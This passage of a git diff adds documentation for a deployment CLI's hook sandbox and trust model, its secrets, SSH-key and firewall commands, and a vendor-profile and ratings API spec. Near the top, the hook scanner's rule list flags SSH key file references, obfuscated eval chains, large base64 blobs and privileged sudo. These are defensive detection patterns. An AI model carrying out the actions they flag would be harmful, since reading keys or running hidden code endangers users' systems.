+- Overly permissive chmod / privileged-container sudo
+
+`[WARNING]` matches (SSH key file references, `kill -9`, base64 blobs over 1 MiB, obfuscated `eval` chains) are logged to stderr but do not block execution.
+
+Scripts larger than 1 MiB are not scanned — the CLI logs a warning and refuses to run them without an explicit opt-in.
+
+#### Trust model
+
+Every loaded `stacker.yml` carries an in-memory `origin` marker derived from the file's leading comment block:
+
+| Origin                  | Marker line (top of file)                       | Default hook behaviour              |
+|-------------------------|-------------------------------------------------|--------------------------------------|
+| `UserAuthored`          | (no `# @stacker-origin: marketplace` present)   | Hooks run                            |
+| `MarketplaceGenerated`  | `# @stacker-origin: marketplace`                | Hooks **refused** unless opted in    |
+
+`stacker install <template>` writes the marker automatically. Delete the marker line after you have reviewed hooks in the file, and the CLI treats the file as user-authored on the next deploy.
+
+#### CLI flags
+
+| Flag                       | Effect                                                                                                |
+|----------------------------|-------------------------------------------------------------------------------------------------------|
+| *(none)*                   | Runs hooks for user-authored files. Refuses hooks for marketplace-generated files.                    |
+| `--allow-untrusted-hooks`  | Runs hooks even when the file carries the marketplace marker. Use only after reviewing every script.  |
+| `--no-hooks`               | Skips every hook regardless of provenance. CI-safe default.                                           |
+
+#### Runtime environment
+
+- `sh <script>` — always interpreted by POSIX `sh` regardless of shebang.
+- Working directory: the project directory.
+- Environment: **cleared**. Only `PATH` and `HOME` are re-exported. Cloud tokens, Docker registry credentials, `GH_TOKEN`, `OPENAI_API_KEY`, etc. **are not visible** to hook scripts. If a hook needs a secret, plumb it through explicitly.
+- Hard timeout: 5 minutes per hook. On timeout the child process is `kill`ed (not merely abandoned).
+- stdout and stderr are captured, ANSI escape sequences are stripped, and the combined output is capped at 1 MiB before being relayed to the terminal or embedded in error messages.
+
+#### Error behaviour
+
+Two distinct outcomes surface differently:
+
+| Cause                                                       | `pre_build`                | `post_deploy`                                                     | `on_failure`                                                             |
+|-------------------------------------------------------------|----------------------------|-------------------------------------------------------------------|--------------------------------------------------------------------------|
+| Path invalid / symlink escape / content critical / untrusted | Deploy **fails**           | Deploy **fails** — rejection is not silently downgraded to a warn | Original deploy error is preserved; rejection is chained into the message |
+| Script exits non-zero at runtime                             | Deploy **fails**           | Warning logged; deploy result stays **Ok**                        | Warning logged; original deploy error preserved                          |
+| Timeout (300 s)                                              | Deploy **fails**           | Warning logged; deploy result stays **Ok**                        | Warning logged; original deploy error preserved                          |
+
+This is a deliberate asymmetry: `pre_build` is a build-gating step, `post_deploy` and `on_failure` are best-effort notifications — but a *security rejection* of any of them is treated as a config-time bug, never a runtime blip.
+
+#### Full example
+
+```yaml
+# @stacker-origin: marketplace
+# Delete the line above once you have reviewed hooks in this file —
+# `stacker deploy` refuses to run hooks while the marker is present.
+
+name: my-app
+
+hooks:
+  pre_build: ./scripts/verify-lockfile.sh
+  post_deploy: ./scripts/warm-cache.sh
+  on_failure: ./scripts/alert-team.sh
+```
+
+Deploying this file without changes:
+
+```console
+$ stacker deploy
+Hook 'pre_build' rejected before execution: this stacker.yml was generated by the marketplace
+and has not been marked trusted. Review the hook script, then either remove the
+'# @stacker-origin: marketplace' marker line from the top of stacker.yml, or re-run with
+--allow-untrusted-hooks. Use --no-hooks to skip all hooks.
+```
+
+Options once you have reviewed the scripts:
+
+```console
+$ stacker deploy --allow-untrusted-hooks      # trust just this run
+$ stacker deploy --no-hooks                    # skip hooks entirely
+$ sed -i '/# @stacker-origin: marketplace/,/# `stacker deploy` refuses/d' stacker.yml
+$ stacker deploy                               # marker gone → file trusted going forward
+```
 
 ---
 
@@ -782,6 +1141,45 @@ MINIO_PASSWORD=admin123
 OPENAI_API_KEY=sk-...
 ```
 
+For remote deployments, Stacker renders the effective runtime env to the
+canonical host path `/home/trydirect/project/.env`. Generated compose files
+reference it as `env_file: .env`, relative to `docker-compose.yml`.
+
+Top-level `env_file` is a Stacker config input: it is loaded before
+`stacker.yml` is parsed so `${VAR}` placeholders can be resolved. It does not
+automatically inject variables into a container. Container injection is still
+controlled by Docker Compose `env_file` entries under each compose service.
+
+For app-only remote updates, `stacker agent deploy-app <app>` resolves the
+environment/profile from `--env`, then `.stacker/active-env`, then
+`deploy.environment`. If `<app>/docker/<env>/compose.yml` exists, Stacker uses
+the app-local service definition for that app and resolves its `env_file`
+entries relative to that compose file, then merges the service definition back
+into the full project-level compose before sending it to the agent. This keeps
+other services in the remote `docker-compose.yml` intact without requiring
+env/config files referenced only by unrelated project-level services. A
+service-local file such as `<app>/docker/prod/.env` is uploaded to the remote
+config bundle, and Vault-rendered service secrets for that app are appended to
+that same remote `.env` before the Status agent writes it. When the same target
+is updated again, Stacker refreshes the existing `# stacker-render ...` block
+instead of duplicating prior rendered secret sections. If Stacker cannot render
+the target runtime env, command creation fails instead of deploying a raw
+app-local `.env` without the remote secrets.
+
+The rendered runtime env is built from these layers, lowest to highest:
+
+1. Base app env and local authoring inputs.
+2. Server-scope secrets, only for services that opt in with
+   `inherit_server_secrets: true`.
+3. Service-scope secrets for the selected service/app target.
+4. Compose `environment:` keys, which Docker Compose applies above `env_file`.
+
+User-provided runtime env keys must match `^[A-Z_][A-Z0-9_]*$`. Keys beginning
+with `STACKER_`, `DOCKER_`, `VAULT_`, or `AGENT_` are reserved and rejected.
+Use `stacker config show --resolved` to inspect the local env source path,
+remote runtime path, config hash/version metadata, and contributing layers
+without printing secret values.
+
 ---
 
 ## Environment Variable Interpolation
@@ -815,7 +1213,7 @@ ai:
 
 ## Auto-Detection
 
-When you run `stacker init` without specifying `--app-type`, Stacker scans your project directory and looks for these marker files:
+When you run `stacker init` without specifying `--app-type`, Stacker scans the workspace and looks for these marker files:
 
 | Files Found | Detected Type |
 |-------------|---------------|
@@ -826,7 +1224,39 @@ When you run `stacker init` without specifying `--app-type`, Stacker scans your
 | `composer.json` | `php` |
 | `index.html`, `*.html` | `static` |
 
-Detection priority is top-to-bottom. If none of these files are found, it defaults to `static`.
+Detection priority is top-to-bottom. If none of these files are found, it defaults to `custom`.
+
+For monorepo-style projects, `stacker init` now:
+
+- Recursively scans nested directories for app candidates with marker files and/or Dockerfiles
+- Detects aggregate Docker Compose stacks, including `include:` chains
+- Selects one primary app for the generated `app:` section
+- Reuses a detected aggregate compose file by setting `deploy.compose_file`
+- Imports image-backed compose sidecars into the generated `services:` list
+- **Infers healthchecks** for infrastructure images (postgres → `pg_isready`, redis → `redis-cli ping`, mysql/mariadb → `mysqladmin ping`, mongo → `mongosh`, rabbitmq → `rabbitmq-diagnostics`, elasticsearch → `_cluster/health`)
+- Emits warning comments when scan data suggests a required local bootstrap asset or generator is missing
+
+### Remote GitHub repository detection
+
+`stacker init --from-github <url>` applies the same detection pipeline to a
+remote repository. Use `--with-ai` to get a richer config — the AI scans the
+repo's README, compose files, and source to infer ports, env vars, and service
+relationships that simple file detection alone cannot discover.
+
+```bash
+stacker init --from-github owner/repo --with-ai        # AI-powered (recommended)
+stacker init --from-github owner/repo                    # template-based fallback
+stacker init -g https://github.com/ArchiveBox/ArchiveBox
+```
+
+Stacker shallow-clones the repo into a temp directory, runs detection
+(or AI analysis), and writes the generated `stacker.yml` to your current
+directory. When environment variables are discovered in the repo's compose
+files or by the AI, `.env.example` and `scripts/generate-secrets.sh` are
+also generated.
+
+Build-only compose services are still reported in the generated file comments, but they are not
+imported into `services:` because the current schema requires an explicit `image`.
 
 ---
 
@@ -914,12 +1344,14 @@ Stacker validates your configuration both syntactically (YAML structure) and sem
 | `E001` | Cloud deployment requires `deploy.cloud.provider` | `deploy.cloud.provider` |
 | `E002` | Server deployment requires `deploy.server.host` | `deploy.server.host` |
 | `E003` | Custom app type requires `app.image` or `app.dockerfile` | `app` |
+| `E004` | `deploy.environment` references an undefined environment key | `deploy.environment` / `environments` |
 
 ### Warnings (deployment may have issues)
 
 | Code | Rule | Field |
 |------|------|-------|
 | `W001` | Port conflict — multiple services bind the same host port | `services.ports` |
+| `W002` | Named volume referenced in `volumes` but not mounted by any service | `volumes` |
 
 ### Example output
 
@@ -936,30 +1368,38 @@ Configuration issues:
 
 | Command | Description |
 |---------|-------------|
-| `stacker init` | Initialize a new project — generates `stacker.yml` and `.stacker/` directory (Dockerfile + docker-compose.yml) |
-| `stacker deploy` | Build and deploy the stack (reuses existing `.stacker/` artifacts if present) |
+| `stacker init` | Initialize a new project — generates `stacker.yml` and `.stacker/` directory (Dockerfile + docker-compose.yml). Use `--from-github <url>` to generate config from a remote repo without cloning it first. |
+| `stacker deploy` | Build and deploy the stack; cloud deploys also install a local SSH backup key when possible |
 | `stacker status` | Show container status |
 | `stacker logs` | Show container logs |
+| `stacker secrets` | Manage local `.env` secrets or remote Vault-backed service/server secrets |
 | `stacker destroy` | Tear down the stack |
 | `stacker config validate` | Validate `stacker.yml` |
 | `stacker config show` | Display resolved configuration |
 | `stacker config fix` | Interactively fix missing required config fields |
+| `stacker config setup ai` | Configure `ai.*` settings without hand-editing YAML |
+| `stacker env` | Show or switch the active deploy environment/profile |
 | `stacker login` | Authenticate with TryDirect |
 | `stacker ai ask` | Ask the AI assistant a question |
 | `stacker proxy add` | Add a reverse-proxy domain entry |
 | `stacker proxy detect` | Detect running reverse proxies |
+| `stacker cloud firewall add` | Open cloud-provider firewall ports without SSH |
+| `stacker cloud firewall remove` | Remove Stacker-managed cloud-provider firewall rules |
+| `stacker cloud firewall list` | List cloud-provider firewall rules for a server |
 | `stacker ssh-key generate` | Generate a Vault-backed SSH key pair for a server |
 | `stacker ssh-key show` | Display the public SSH key for a server |
 | `stacker ssh-key upload` | Upload an existing SSH key pair for a server |
+| `stacker ssh-key inject` | Repair Vault-key trust using an already-working private key |
 | `stacker service add` | Add a service from the template catalog to `stacker.yml` |
 | `stacker service list` | List available service templates (20+ built-in) |
 | `stacker agent health` | Check Status Panel agent connectivity and health |
 | `stacker agent status` | Display agent snapshot — containers, versions, uptime |
 | `stacker agent logs <app>` | Retrieve container logs from the remote agent |
 | `stacker agent restart <app>` | Restart a container via the agent |
-| `stacker agent deploy-app` | Deploy or update an app container on the target server |
+| `stacker agent deploy-app` | Deploy or update an app container on the target server; use `--env <name>` to select an environment/profile |
 | `stacker agent remove-app` | Remove an app container (optional volume/image cleanup) |
-| `stacker agent configure-proxy` | Configure Nginx Proxy Manager via the agent |
+| `stacker agent configure-proxy` | Configure Nginx Proxy Manager via the agent; use `--no-ssl` for plain HTTP hosts |
+| `stacker agent configure-firewall` | Configure guest OS firewall rules via the Status Panel agent |
 | `stacker agent history` | Show recent agent command execution history |
 | `stacker agent exec` | Execute a raw agent command with JSON parameters |
 | `stacker update` | Check for CLI updates |
@@ -969,6 +1409,7 @@ Configuration issues:
 | Flag | Description |
 |------|-------------|
 | `--app-type <TYPE>` | Application type: `static`, `node`, `python`, `rust`, `go`, `php`, `custom` |
+| `--from-github <URL>` | Generate `stacker.yml` from a remote GitHub repository. Accepts `owner/repo` or full URL. Clones shallow into a temp dir, auto-detects the project type and compose services, then writes config to the current directory. Also generates `.env.example` and `scripts/generate-secrets.sh` when env vars are detected. Short flag: `-g`. |
 | `--with-proxy` | Include reverse-proxy (nginx) configuration |
 | `--with-ai` | Use AI to scan the project and generate a tailored `stacker.yml` |
 | `--ai-provider <PROVIDER>` | AI provider: `openai`, `anthropic`, `ollama`, `custom` (default: `ollama`) |
@@ -979,11 +1420,16 @@ Configuration issues:
 - `stacker.yml` — project configuration
 - `.stacker/Dockerfile` — generated Dockerfile (skipped if `app.image` or `app.dockerfile` is set)
 - `.stacker/docker-compose.yml` — generated compose definition (skipped if `deploy.compose_file` is set)
+- `.stacker/scenarios/qwen2.5-code/website-deploy/state.json` — saved only when the qwen website scenario bootstrap is accepted
 
 ```bash
 # Init
 stacker init                                          # Auto-detect project type
 stacker init --app-type node --with-proxy             # Explicit type + proxy
+stacker init --from-github ArchiveBox/ArchiveBox      # Generate from remote repo
+stacker init -g https://github.com/owner/repo          # Full URL with short flag
+stacker init --from-github owner/repo --with-ai        # AI-powered (recommended for remote repos)
+stacker init --from-github owner/repo --app-type node  # Force type for remote repo
 stacker init --with-ai                                # AI-powered generation (Ollama default)
 stacker init --with-ai --ai-model qwen2.5-coder       # Specify Ollama model
 stacker init --with-ai --ai-provider ollama --ai-model deepseek-r1
@@ -1001,6 +1447,12 @@ stacker init --with-ai --ai-provider anthropic --ai-model claude-sonnet-4-202505
 STACKER_AI_TIMEOUT=900 stacker init --with-ai  # 15 min timeout for slow models
 ```
 
+If the project is a simple HTML or Next.js website and the Ollama model is
+`qwen2.5-code` or `qwen2.5-coder`, Stacker can offer a website deployment
+scenario immediately after `stacker init --with-ai`. That bootstrap reads the
+generated config first, asks only for missing deploy inputs, and stores the
+scenario state under `.stacker/scenarios/qwen2.5-code/website-deploy/`.
+
 ### `stacker deploy` flags
 
 ```bash
@@ -1015,6 +1467,60 @@ stacker deploy --force-rebuild         # Force regenerate .stacker/ artifacts
 >
 > **Troubleshooting:** On deploy build/runtime failures, Stacker attempts AI-assisted diagnosis using your configured AI provider. If AI is unavailable, it prints fallback fix suggestions.
 > **Note:** `deploy` reuses existing `.stacker/Dockerfile` and `.stacker/docker-compose.yml` if present (e.g. from `stacker init`). Use `--force-rebuild` to regenerate them.
+> **SSH access:** After a successful cloud deploy, Stacker creates or reuses a
+> local backup key in the user-scoped Stacker config directory and authorizes its
+> public key on the server when possible. It prints a copy-paste-ready `ssh -i`
+> command; the Vault private key is not exported to the CLI.
+> **IP persistence:** If a cloud/server install pauses or fails after the
+> installer has reported an IP address, Stacker saves that discovered IP in the
+> local deployment context and persists it server-side when possible.
+
+### Remote secrets
+
+```bash
+# Discover deployable service/app targets for the current project
+stacker secrets apps
+
+# Store a Vault-backed secret for one service/app target
+stacker secrets set S3_BUCKET \
+  --scope service \
+  --service upload \
+  --body superbucket
+
+# Remote reads return metadata only, never plaintext values
+stacker secrets list --scope service --service upload --json
+stacker secrets get S3_BUCKET --scope service --service upload --json
+
+# Push stored remote secrets into the target's runtime env
+stacker secrets push --service upload
+stacker secrets push --service upload --env prod
+# Aliases: stacker secrets deploy --service upload
+#          stacker secrets apply --service upload
+```
+
+Service-scoped remote secrets target the codes listed by `stacker secrets apps`.
+Those codes include the main app, registered `stacker.yml` services, and
+supported image-backed services extracted from `deploy.compose_file` during
+cloud/server deploy preparation. A service secret is rendered only into the
+matching service/app target.
+
+Deleting a service-scoped secret removes it from the next rendered
+`/home/trydirect/project/.env`; stale values are not preserved. If the remote
+runtime env changed outside Stacker, Stacker refuses to overwrite it unless the
+operation is explicitly forced.
+
+`stacker secrets push --service <target>` is the explicit "apply stored secrets
+now" command. It renders the runtime env for that target and sends it to the
+Status agent; it does not create, update, or reveal secret values. Use
+`--env <name>` for one command, or `stacker env <name>` to persist the active
+environment/profile for later `stacker agent deploy-app` and
+`stacker secrets push` commands.
+
+MCP config inspection uses the same classification model. `get_app_env_vars`
+retains the legacy redacted object response but also emits
+`environment_entries[]`, where Vault-backed keys are marked with
+`secure=true` and `source="vault"` even if the variable name itself would not
+match older secret-name heuristics.
 
 ### Other commands
 
@@ -1039,10 +1545,13 @@ stacker destroy --confirm --volumes    # Also remove volumes
 stacker config validate                # Check stacker.yml
 stacker config validate --file prod.yml
 stacker config show                    # Display resolved config
+stacker config setup ai --provider ollama --endpoint http://localhost:11434 --model llama3 --task dockerfile --task troubleshoot
 
 # AI
 stacker ai ask "How can I optimise this Dockerfile?"
 stacker ai ask "Why is my container crashing?" --context ./logs.txt
+stacker ai ask "continue" --scenario website-deploy --step image-publish
+stacker ai --scenario website-deploy --step runtime-ops
 
 # Proxy
 stacker proxy add example.com --upstream http://app:3000 --ssl auto
@@ -1055,11 +1564,15 @@ stacker update --channel beta          # Check beta channel
 # Config
 stacker config fix                     # Interactively fix missing fields
 stacker config fix --file prod.yml     # Fix a specific config file
+stacker config setup ai                # Configure ai.* interactively
 ```
 
 ### `stacker ssh-key` — SSH Key Management
 
-Manage Vault-backed SSH keys for your deployed servers. Keys are stored securely in HashiCorp Vault.
+Manage Vault-backed SSH keys for your deployed servers. Server automation keys
+are stored securely in HashiCorp Vault. Cloud deploys also maintain a separate
+local backup key under the Stacker config directory so users can connect with a
+normal `ssh` command.
 
 ```bash
 # Generate a new SSH key pair for a server
@@ -1076,8 +1589,26 @@ stacker ssh-key show --server-id 42 --json         # JSON output
 stacker ssh-key upload --server-id 42 \
   --public-key ~/.ssh/id_rsa.pub \
   --private-key ~/.ssh/id_rsa
+
+# Repair a server that no longer trusts the Vault public key
+stacker ssh-key inject --server-id 42 --with-key ~/.ssh/existing-private-key
 ```
 
+`ssh-key generate` manages the server-side Vault key. `ssh-key inject` is a
+repair command: it uses `--with-key` as a bootstrap private key that already
+works on the server, then appends the Vault public key to `authorized_keys`. It
+does not install your local key on the server.
+
+Automatic cloud-deploy backup keys are stored outside the project directory:
+
+```text
+~/.config/stacker/ssh/server-42_ed25519
+~/.config/stacker/ssh/server-42_ed25519.pub
+```
+
+If `$XDG_CONFIG_HOME` is set, Stacker uses
+`$XDG_CONFIG_HOME/stacker/ssh/` instead.
+
 ### `stacker service` — Service Template Catalog
 
 Add services to your `stacker.yml` from a built-in catalog of 20+ templates. Each template includes a production-ready image, default ports, environment variables, and volumes.
@@ -1134,13 +1665,21 @@ stacker agent remove-app --app my-app             # Remove container
 stacker agent remove-app --app my-app --remove-volumes --remove-images
 
 # Reverse proxy
+# Managed Status Panel + Nginx Proxy Manager deploys auto-seed default Vault credentials.
+# Update or repair those credentials with:
+# stacker secrets set npm_credentials --scope server --server-id <server-id> --body-file ./npm_credentials.json
 stacker agent configure-proxy --app my-app --domain app.example.com --ssl
+stacker agent configure-proxy --app my-app --domain app.local --no-ssl
 
 # History & raw commands
 stacker agent history                             # Recent command history
 stacker agent exec --command-type health          # Raw command
 stacker agent exec --command-type stacker.exec --params '{"container":"app","command":"ls -la"}'
 
+# Install Status Panel on an existing deployed server
+stacker agent install                             # Remote install only; leaves local stacker.yml unchanged
+stacker agent install --persist-config            # Also write monitoring.status_panel=true to local stacker.yml
+
 # Target a specific deployment
 stacker agent status --deployment abc123def
 ```
@@ -1175,7 +1714,40 @@ stacker ai --write
 > add elasticsearch and kibana for logging
 ```
 
-### Firewall Management (iptables)
+### Firewall Management
+
+Stacker has two firewall surfaces:
+
+| Command | Scope | Requires SSH/agent |
+|---------|-------|--------------------|
+| `stacker cloud firewall` | Cloud-provider firewall such as Hetzner Cloud Firewall | No SSH required |
+| `stacker agent configure-firewall` | Guest OS firewall rules on the deployed server | Requires Status Panel agent |
+
+#### Cloud provider firewall
+
+Use `stacker cloud firewall` when a provider firewall blocks a public app port
+after deployment. For example, Coolify publishes port `8000`, so this opens the
+Hetzner Cloud Firewall without SSH-ing to the server:
+
+```bash
+stacker cloud firewall add --public-ports 8000/tcp
+stacker cloud firewall add --server-id 42 --public-ports 8000/tcp
+stacker cloud firewall remove --server-id 42 --public-ports 8000/tcp
+stacker cloud firewall list --server-id 42
+```
+
+The CLI sends a provider-neutral `stacker.cloud_firewall.v1` message to Stacker
+API. Stacker validates server/cloud ownership, hydrates cloud credentials
+server-side, then publishes `install.firewall.{provider}.v1` to Install Service.
+The CLI never receives cloud provider tokens.
+
+Existing protocol note: the Status Panel agent schema already defines a
+`FirewallPortRule` shape (`port`, `protocol`, `source`, `comment`) and cloud
+deploy already sends `client_public_ports`/`ports_list` for initial provisioning.
+Those are reused where appropriate, but `stacker.cloud_firewall.v1` is the
+canonical post-deploy provider firewall protocol.
+
+#### Guest OS firewall (iptables)
 
 Stacker provides MCP tools for configuring iptables firewall rules on target servers. Rules can be derived from Ansible role port definitions or specified manually.
 
@@ -1319,7 +1891,7 @@ deploy:
   cloud:
     provider: hetzner
     region: fsn1
-    size: cpx21
+    size: cx23
     ssh_key: ~/.ssh/id_ed25519
 ```
 
@@ -1425,6 +1997,9 @@ A: Yes. Set `deploy.compose_file: ./docker-compose.yml` and Stacker will use it
 **Q: What cloud providers are supported?**
 A: Hetzner, DigitalOcean, AWS, Linode, and Vultr. You must `stacker login` first and have the appropriate API keys configured in your TryDirect account.
 
+**Q: Can I have more than one agent for a project?**
+A: Yes. A Stacker project can have multiple deployments, and each deployment runs its own Status Panel agent. For example, the same project can have separate staging and production deployments on different servers. When you run agent commands without `--deployment <hash>`, the CLI resolves the target in this order: explicit `--deployment`, local deployment lock, then project name from `stacker.yml` (which resolves to the most recently active deployment). To target a specific agent in a multi-deployment project, pass `--deployment <hash>` explicitly.
+
 ---
 
 ## File Structure
diff --git a/docs/vendor-profile-endpoints-spec.md b/docs/vendor-profile-endpoints-spec.md
new file mode 100644
index 00000000..da9f0b33
--- /dev/null
+++ b/docs/vendor-profile-endpoints-spec.md
@@ -0,0 +1,821 @@
+# Vendor Profile Endpoints Spec
+
+Frontend-facing API reference for vendor profile and vendor page flows.
+
+## Status
+
+- Public vendor page endpoint: implemented
+- Creator vendor profile endpoints: implemented
+- Admin vendor profile endpoint: implemented
+- Creator onboarding flow: provider-backed via `PayoutProvider`
+  - dev/test default: `mock`
+  - production option: `stripe_connect`
+
+---
+
+## Base conventions
+
+### Auth
+
+- Public vendor page endpoint does **not** require authentication
+- Creator endpoints require `Authorization: Bearer <token>`
+- Admin endpoints require an admin-authenticated bearer token
+
+### Response envelope
+
+Most JSON endpoints use this envelope:
+
+```json
+{
+  "message": "OK",
+  "item": {}
+}
+```
+
+Some endpoints return only a message:
+
+```json
+{
+  "message": "Vendor profile updated"
+}
+```
+
+### Common vendor concepts
+
+#### `verification_status`
+Allowed values:
+- `unverified`
+- `pending`
+- `verified`
+- `rejected`
+
+#### `onboarding_status`
+Allowed values:
+- `not_started`
+- `in_progress`
+- `completed`
+
+#### `payout_ready`
+Computed server-side and should be treated as the canonical frontend flag.
+
+`payout_ready = true` only when:
+- `verification_status == "verified"`
+- `onboarding_status == "completed"`
+- `payouts_enabled == true`
+- `payout_provider != null`
+
+---
+
+# 1. Public vendor page
+
+## GET `/api/vendors/{vendor}`
+
+Returns the public vendor profile and the vendor's approved marketplace templates.
+
+### Path param
+
+| Name | Type | Required | Notes |
+|---|---|---:|---|
+| `vendor` | string | yes | Public vendor slug is preferred. Current backend also supports fallback lookup by `creator_user_id`, but frontend should use the slug. |
+
+### Query params
+
+| Name | Type | Required | Allowed |
+|---|---|---:|---|
+| `sort` | string | no | `recent`, `popular`, `rating` |
+
+### Auth
+
+None.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "vendor": {
+      "creator_user_id": "vendor_acme",
+      "slug": "acme-cloud",
+      "display_name": "Acme Cloud",
+      "bio": "Production-ready app stacks for small teams.",
+      "avatar_url": "https://cdn.trydirect.test/vendors/acme/avatar.png",
+      "website_url": "https://acme.example",
+      "verified": true,
+      "rating": 4.0,
+      "rating_count": 3,
+      "rating_scale": 5,
+      "metadata": {
+        "country": "DE",
+        "support_email": "support@acme.example"
+      },
+      "created_at": "2026-07-18T12:00:00Z"
+    },
+    "templates": [
+      {
+        "id": "3ec49835-3950-44e2-b289-0d725d310902",
+        "creator_user_id": "vendor_acme",
+        "creator_name": "Acme Cloud",
+        "name": "WordPress Pro",
+        "slug": "wordpress-pro",
+        "short_description": "Production WordPress stack",
+        "long_description": "A hardened WordPress stack for teams.",
+        "status": "approved",
+        "vendor_url": "https://acme.example",
+        "tags": ["wordpress", "cms"],
+        "tech_stack": {
+          "runtime": "php",
+          "database": "mysql"
+        },
+        "view_count": 0,
+        "deploy_count": 0,
+        "created_at": "2026-07-18T12:00:00Z",
+        "updated_at": "2026-07-18T12:00:00Z",
+        "approved_at": "2026-07-18T12:00:00Z",
+        "verifications": {},
+        "infrastructure_requirements": {},
+        "public_ports": null,
+        "required_plan_name": null,
+        "price": null,
+        "billing_cycle": null,
+        "currency": null,
+        "rating": 4.5,
+        "rating_count": 2,
+        "rating_scale": 5
+      }
+    ]
+  }
+}
+```
+
+### Notes
+
+- Only **approved** templates are returned.
+- Draft/submitted/rejected templates are excluded.
+- Sensitive payout/account linkage fields are **not** exposed publicly.
+- Public vendor metadata excludes the internal `onboarding` metadata subtree.
+- Public `rating` values are normalized to a 1-5 star scale and use only visible `Application` ratings.
+- `rating_count` is the number of visible `Application` ratings behind the average.
+
+### Error responses
+
+#### 404 Vendor not found
+
+```json
+{
+  "message": "Vendor not found"
+}
+```
+
+### Frontend usage
+
+Use this endpoint to build a public vendor page:
+- vendor header
+- avatar/logo
+- bio/about section
+- website link
+- vendor template grid/list
+
+---
+
+# 2. Template ratings
+
+These endpoints are the preferred way for frontend code to rate marketplace templates. They hide the internal `product_id` / `rating.obj_id` mapping.
+
+## GET `/api/templates/{templateId}/rating/summary`
+
+Returns public rating summary for an approved template.
+
+### Auth
+
+None.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "template_id": "3ec49835-3950-44e2-b289-0d725d310902",
+    "rating": 4.5,
+    "rating_count": 2,
+    "rating_scale": 5
+  }
+}
+```
+
+## GET `/api/templates/{templateId}/rating/me`
+
+Returns the authenticated user's own visible rating for a template.
+
+### Auth
+
+Bearer token required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "template_id": "3ec49835-3950-44e2-b289-0d725d310902",
+    "rating_id": 42,
+    "rating": 5,
+    "rating_scale": 5,
+    "comment": "Excellent marketplace template",
+    "created_at": "2026-07-18T12:00:00Z",
+    "updated_at": "2026-07-18T12:00:00Z"
+  }
+}
+```
+
+## PUT `/api/templates/{templateId}/rating`
+
+Creates or updates the authenticated user's rating for a template.
+
+### Auth
+
+Bearer token required.
+
+### Request body
+
+```json
+{
+  "rating": 5,
+  "comment": "Excellent marketplace template"
+}
+```
+
+### Validation
+
+- `rating` is required and must be an integer from `1` to `5`.
+- `comment` is optional and must be at most 1000 characters.
+
+### Success response
+
+Same shape as `GET /api/templates/{templateId}/rating/me`.
+
+## DELETE `/api/templates/{templateId}/rating`
+
+Deletes the authenticated user's template rating from public averages by hiding it.
+
+### Auth
+
+Bearer token required.
+
+### Success response
+
+```json
+{
+  "message": "Rating deleted"
+}
+```
+
+### Notes
+
+- Frontend should use these template rating endpoints instead of generic `/rating` for marketplace template pages.
+- The backend resolves `templateId -> product_id -> rating.obj_id` internally.
+- Internally ratings are still stored on a 0-10 scale for compatibility; these endpoints expose a 1-5 star scale.
+- Public vendor/template averages use visible `Application` ratings only.
+
+---
+
+# 3. Creator self vendor profile
+
+## GET `/api/templates/mine/vendor-profile`
+
+Returns the authenticated creator's own vendor profile.
+
+### Auth
+
+Bearer token required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "creator_user_id": "user_123",
+    "payout_ready": false,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "unverified",
+      "onboarding_status": "not_started",
+      "payouts_enabled": false,
+      "payout_provider": null,
+      "metadata": {},
+      "created_at": null,
+      "updated_at": null
+    }
+  }
+}
+```
+
+### Notes
+
+- If no DB row exists yet, the API returns a safe default profile.
+- `payout_account_ref` is intentionally not exposed in this creator-facing response.
+
+### Error responses
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+---
+
+# 3. Creator template-scoped vendor profile status
+
+## GET `/api/templates/{templateId}/vendor-profile-status`
+
+Returns vendor profile status for the owner of a specific template.
+
+### Path param
+
+| Name | Type | Required |
+|---|---|---:|
+| `templateId` | UUID string | yes |
+
+### Auth
+
+Bearer token required.
+
+### Access rule
+
+Caller must own the template.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "template_id": "3ec49835-3950-44e2-b289-0d725d310902",
+    "creator_user_id": "user_123",
+    "payout_ready": true,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "verified",
+      "onboarding_status": "completed",
+      "payouts_enabled": true,
+      "payout_provider": "stripe_connect",
+      "metadata": {
+        "country": "DE"
+      },
+      "created_at": "2026-04-12T12:00:00Z",
+      "updated_at": "2026-04-12T12:05:00Z"
+    }
+  }
+}
+```
+
+### Error responses
+
+#### 400 Invalid UUID
+
+```json
+{
+  "message": "Invalid UUID"
+}
+```
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+#### 403 Access denied
+
+```json
+{
+  "message": "Access denied"
+}
+```
+
+#### 404 Template not found
+
+```json
+{
+  "message": "Template not found"
+}
+```
+
+---
+
+# 4. Start creator onboarding
+
+## POST `/api/templates/mine/vendor-profile/onboarding-link`
+
+Starts or reuses a creator onboarding linkage.
+
+### Auth
+
+Bearer token required.
+
+### Request body
+
+No request body required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "creator_user_id": "user_123",
+    "payout_ready": false,
+    "linkage_created": true,
+    "onboarding_url": "https://mock.payouts.local/onboarding/acct_mock_123",
+    "onboarding_expires_at": null,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "unverified",
+      "onboarding_status": "in_progress",
+      "payouts_enabled": false,
+      "payout_provider": "mock",
+      "metadata": {
+        "onboarding": {
+          "started_at": "2026-04-12T12:00:00Z",
+          "last_link_requested_at": "2026-04-12T12:00:00Z",
+          "link_request_count": 1
+        }
+      },
+      "created_at": "2026-04-12T12:00:00Z",
+      "updated_at": "2026-04-12T12:00:00Z"
+    }
+  }
+}
+```
+
+### Notes
+
+- Provider is selected by backend config (`payouts.provider`).
+- Dev/test default uses `payout_provider = "mock"`.
+- Production can use `payout_provider = "stripe_connect"` with Stripe Connect account links.
+- Repeated calls can return `200 OK` with `linkage_created = false` when linkage already exists.
+
+### Error responses
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+---
+
+# 5. Complete creator onboarding
+
+## POST `/api/templates/mine/vendor-profile/onboarding-complete`
+
+Marks onboarding as completed for the authenticated creator.
+
